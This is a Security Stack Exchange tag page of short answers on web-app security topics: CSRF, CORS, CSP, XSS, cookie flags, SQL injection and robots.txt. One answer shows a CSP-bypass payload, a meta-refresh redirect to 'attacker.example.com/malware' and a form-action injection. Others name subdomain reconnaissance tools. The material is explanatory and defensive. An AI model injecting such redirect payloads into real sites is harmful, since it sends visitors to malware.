Tag Info

New answers tagged

0

That totally depends on your application and its requirements. If your applications needs to verify users' email addresses, then you can send them a randomly generated token (valid for a limited time period) for the first-time login, on the email address that they provided during sign-up. And ask them to set their own password after they use that random ...


0

If your generation method has enough length and good character set, it will be more secure than asking the user for password. The problem about this way which makes websites not to use it, is because auto-generated passwords are hard-to-remember and don't offer good user experience.


5

It is a security issue, and tampering with headers, or really, anything that you have on the client side is very easy. You should never trust anything that coming from the client. I would definitively suggest that you have a white list of acceptable values that is enforced on the server side to avoid SQL injections. This list could be generated ...


7

This is not a good idea. An attacker could change the database name, supply an invalid one, or put special chars on the database name and possibly exploit a SQL injection. It's possible to do a lot of damage depending on your setup. You could use server-side sessions, and send only the session token to the user. The database he is connecting to should be ...


2

If all you are passing over is a simple name which identifies a database to use, then I can't see any immediate problems (provided you do some server side validation). I would try to avoid using names that give away more info about the database than needed though (e.g. server addresses, system- or version-info, etc). In fact, it might be better to just use ...


1

It depends on the bank's security in general. Europe is better than the US, but there are stories of forged debits in the UK as well where they only used basic information. If you are worried about routing numbers and account numbers (as leaking a database can be a PR nightmare regardless if the info regards financial information), you could opt for a ...


0

I'm assuming the user logs in or proves who they are, and would not be anonymous and only providing an encryption key for authentication. It seems like it would be best to just periodically POST the answer to the server and store them in a HIPPA compliant way there. StackExchange temporarily stores your answers, so you could look and see how they are doing ...


0

Checklists in general are an ok place to start a conversation about security. The OWSAP top ten is pretty good. But it's nearly impossible to design a security system for you without knowing what you're doing, what you're trying to protect, and who you're trying to protect it from. A bank needs different security than a Target store for instance. ...


3

To respond directly to your questions: do i need some kind of auto ban ip system? failed login ip banning & logging? Yes, don't try to reinvent anything and use fail2ban (just a good regex expression and you are protected.) any linux-server security modifications? i did not modify anything yet I would recommend selinux with domains and all ...


1

If it only prevents page/script from reading the response from another origin, can't we just use a proxy listener like Burp or a sniffer like wireshark to capture the response before it even reaches the browser (where SOP is implemented)? These are two different types of attack. Preventing reads from another origin prevents an attacker's site ...


1

Why does the server even respond to such requests from another origin? Shouldn't they only respond when Cross-origin resource sharing (CORS) is enabled on them? For the server a CORS XHR and a cross-site request triggered by including the resource (i.e. <img src=, <script src=) or a resource accessed by a link (<a href=) all look to similar and ...


0

can't we just use a proxy listener like Burp or a sniffer like wireshark to capture the response before it even reaches the browser Firstly, a Cross-site request forgery (CSRF) attack definitely does not assume or imply that the attacker can intercept (MITM) the network connection. If you can man-in-the-middle (MITM) your victim then a CSRF attack is ...


13

That the code "runs as root" is mostly irrelevant. Root or non-root is a distinction that makes sense only locally to a machine, and only if you want to contain some potentially hostile code (e.g. hijacked server code) without bringing down the whole machine. This is the mainframe model from a few decades ago. At that time, it was believed that you could ...


3

You might try demonstrating server problems that occurred in well-tested servers and make the claim "If after all of the testing and examination they were insecure, how can we expect to do better?" The first example that pops into my head is the Shellshock bug. When combined with CGI from the Apache Web server, it allowed remote execution. This was not due ...


7

Frankly, the relevant words are "custom code running as root and exposed to the Public." To justify the coding effort and delays, you will have to do some quick calculations on the impact of the code being exploited and a malicious actor gaining root access to the server it is running on. If the cost of a breach is more than the cost of the coding effort ...


0

I think the most likely thing here is that the links are being edited with JavaScript on page load. Google's spiders do not run JavaScript, as far as I know, and it's very common for hackers to use client-side scripts to inject links instead of editing the HTML as it allows for obfuscation and mutation (to prevent users from wgetting and removing the ...


3

You should always set the cookie as HTTPOnly if your cookie contains sensitive information (such as personal info, session related info, session identifier etc.). This prevents JavaScript from accessing this cookie in case of an XSS bug in your website. As far as Secure flag is concerned, you should set your SECURE cookie attribute if your clients ...


1

Assuming that users are using modern browsers, is implementing a strict CSP policy enough to prevent all XSS attacks? Not all modern browsers implement CSP (IE has only very limited support). But assuming that the browser has proper CSP support and that you CSP is very strict (no unsafe-eval!) then it can be used to successfully prevent XSS. But... ...


1

Content Security Policy (CSP) is just a one layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. However please bear in mind that security is all about defense in depth so yes you still should implement additional security layers and please remember that preventing ...


0

No - this is partly due to browser support. For example, Internet Explorer only partially supports Content Security Policies. Also, a CSP should be seen as an effective secondary solution for XSS. Think of it as protecting against code where the developer has forgotten to output encode correctly. This will protect your application in supported browsers ...


2

It depends on the exact vulnerabilities which have been found, but unless there are very specific threats like buffer overflow, code injection, etc. which have been found, the general answer is that if you do not use SSL, then you are not concerned by SSL weaknesses. SSL goal is to provide communication channel security through confidentiality, integrity ...


0

This could either be a DDOS, albeit a low scale one, or Cash-overflow attack (given that you're on AWS) https://www.owasp.org/index.php/Cash_Overflow Edit: Also worth noting, that if someone is attempting to use your server as a proxy, you would see something like this in your Apache logs: X.X.X.X - [20/Apr/2015:12:39:11 +0100] "GET ...


0

In order for the site of a search result to know your IP address, somebody has to give them that IP address. And in theory, there are two ways that could happen: You visit the site, which requires you to share your IP address in order to make the connection The search engine sends the site your IP address In practice, I'm fairly certain method #2 does ...


0

It's not the ip address that is important to advertisers. It's the unique individual that visits the site. Dynamically assigned ip addresses a la dialup/broadband, don't give the full picture, and the industry is concerned with definitive eyeballs. With that in mind, they probably don't do it.


2

As far as Google is concerned, they only share non-personally identifiable information with their partners (publishers, advertisers or connected sites). From Google's Privacy Policy: We may share aggregated, non-personally identifiable information publicly and with our partners – like publishers, advertisers or connected sites. For example, we may ...


1

No, they wouldn't. That would be a serious breach of privacy. Of course if you click through on a link then at that point the site can tell your IP address and the search term that you used on Google, from their own logs.


1

There seems to be a bit of confusion here, I will start by clarifying a few things. When I say XSS I simply mean unsanitized and unescaped code being passed to the server. This might be what you mean, but it isn't what anyone else means. XSS is the injection and execution of javascript on the browser. This injected javascript can come from the server ...


0

The only thing that has logic on the web browser is javascript. Everything else runs on the server side. HTML itself is declarative, so it does not do anything in itself, other than to declare itself. Fancy transitions, audio is an ongoing effort to include functionality as a spec at the w3c. Just an aside, the existence of server side javascript was ...


0

Interpreted code is just text, so on its own it's entirely harmless. It needs another program to recognize it and then actually do something with it. So if you send code to a browser, it's harmless unless the browser recognizes it. PHP is a specific language that requires a specific interpreter to run. Without a PHP interpreter, it's just text. So if your ...


0

HTTP is a stateless protocol, this means that the interactions between server and client are brief and repetative. a client/browser may GET a document from the server, if the server has that document in PHP, it will execute it and send the resulting HTML to the client/browser, so it never gets to see the PHP. If the resulting HTML page contains a form for ...


2

Malicious users might use the robots.txt file during the information gathering phase of an attack. Having entries in it is not a vulnerability in and of itself, it's just a way for someone to find parts of the site that might not be findable other ways. If simply knowing that a part of your site exists, results in a security vulnerability then you should ...


9

Robots.txt is not, in any way, supposed to secure your site. The only purpose of the robots.txt file is to inform polite search engine bots what areas do not contain interesting information. If you have sensitive areas in your robots.txt file, then you seriously need to review the architecture of your site. No sensitive directories should ever be ...


0

You could try to do a redirect to another URL using meta-tags: <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware"> And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP. <form ...


3

VBScript, like JavaScript, is a client-side script which can be abused for XSS attacks. I've only seen a few websites which support it in practice. The principles are the same though, input validation is very important to prevent attackers from injecting malicious script into the website (e.g. stored XSS). I don't worry about specific languages, I worry ...


0

I'm going to help you with some of them. How can I ensure that the pages accessing is secure enough for data transmission , sql injection and several other attacks. For data transmission you should use HTTPS, avoiding attacks between client and server. Security concern should be addressed when developing the application, choosing a programming ...


-1

Easy. Write site address to wolframalpha. And click "subdomins" button. An Example; https://www.wolframalpha.com/input/?i=www.imdb.com Click "Subdomains" for view subdomains of the site. Also, wolfram alpha has api if you want to reach and use it. Hope it helps...


0

Jason Haddix wrote my favorite subdomain/hostname discovery tool that depends on a very-recent version of recon-ng -- available here -- https://github.com/jhaddix/domain subbrute is decent, fierce -dns <domain> works great, dnsmap <domain> -r file.txt is also valid, and I don't see any reason to dislike knock -wc <domain> (although the ...


2

You could consider using JWT (JSON Web Token) which is becoming quite popular. Essentially how it works is your user logs in to your system and your application generates JWT and sends it with the reply. JWT contains standard fields like "subject", "audience" etc. (you can also define custom attributes), It also has an expiry date and it is cryptographically ...


4

Based on the way your question is structured, it seems like you might be confused about what authentication cookies and session variables are and what they should be used for. It also seems like you are planning on rolling your own authentication/authorization functionality. One thing that ASP.NET offers is that it will handle many of the details of ...


-1

base64 encoding plaintext is bad, anyone can decode base64. Use encryption before you base64 encode your variables or any other plaintext strings. Sessions are much more secure then cookies.


2

From what I'm understand, what you're trying to do is to verify, after you are sure that the page arrived from the network untouched (since it's TLS), that it has not be modified by any client-side malware. Since it's a client-side malware, it's safe to presume it can change anything he wants on the client side, after the session is decrypted from the TLS ...


1

It is going to be very difficult to blacklist all known bad characters depending on the incoming system, the processing, format changes (HTML, XML, JSON, etc. / ASCII, ebcdic, etc). While there are likely some cases where you need truly "open" input fields, it would be better to define allowed/whitelisted characters on per input field basis. E.g., if you a ...


2

Accept them all, just encode them into a safe format upon receipt. Furthermore, if you are asking this question, I would first consult an encoding library for a basic implementation before moving on. Encoding can be trickier than you think, and I see custom implementations fail all the time. In many cases, it is not the character itself that is problematic, ...


0

The app (server side) could encrypt the mail content before storing it, using an encryption key derived from the login password (which is of course unknown to the developer). (if you are concerned about the developer changing the server software to bypass encryption or save a copy of the encryption key, he can do that with the client based encryption too. ...


6

In TLS, MD5 is used as the compression function for HMAC. The best current security proof for HMAC does not require its compression function to be collision-resistant, so HMAC-MD5 is still considered secure (if distasteful). TLS 1.0 and RC4 are more disconcerting than MD5 in this case.


1

That this page is using MD5 is bad. Even SHA-1 wouldn't be nice. But hashing and authentication are two different things and as far as I can see this site uses HMAC-MD5, which does't need the collision resistance although this would be nice to have. This was already discussed here. Well, the cipher suite this site is using to connect to you is pretty bad. ...


1

This is a very similar method to using the X-Requested-With header, just that X-Header is used instead (neither of which are standard headers, although X-Requested-With could be considered a de-facto standard). This is a valid method of preventing CSRF as only the following headers are allowed cross domain: Accept Accept-Language Content-Language ...


0

Depends on how you handle ajax requests. If you have an ajax fuction which manipulates the database and it is programmed to do "anything that anyone says to it" then it is a security hole, because anyone can tell an ajax function to do anything! it's your duty to check who gives the order or if the order is valid. obfuscating the code doesn't solve anything. ...


34

To state it more directly: Is it dangerous that the attacker knows all the JavaScript functions and all the CSS styles (effects) ? No, it is not inherently dangerous for an attacker to see JS and CSS. After all, the attacker or any other client must be able to see these files in order for the application to work at all! It is your job to design your ...


20

If the attacker can actually do something malicious just by casually browsing the contents of the files served to them, then you have bigger problems than just easily readable files. In my opinion, you should have something stronger than just security by obscurity. If you do want to make your js harder to read, you can try minfying and obscuring it, ...



Top 50 recent answers are included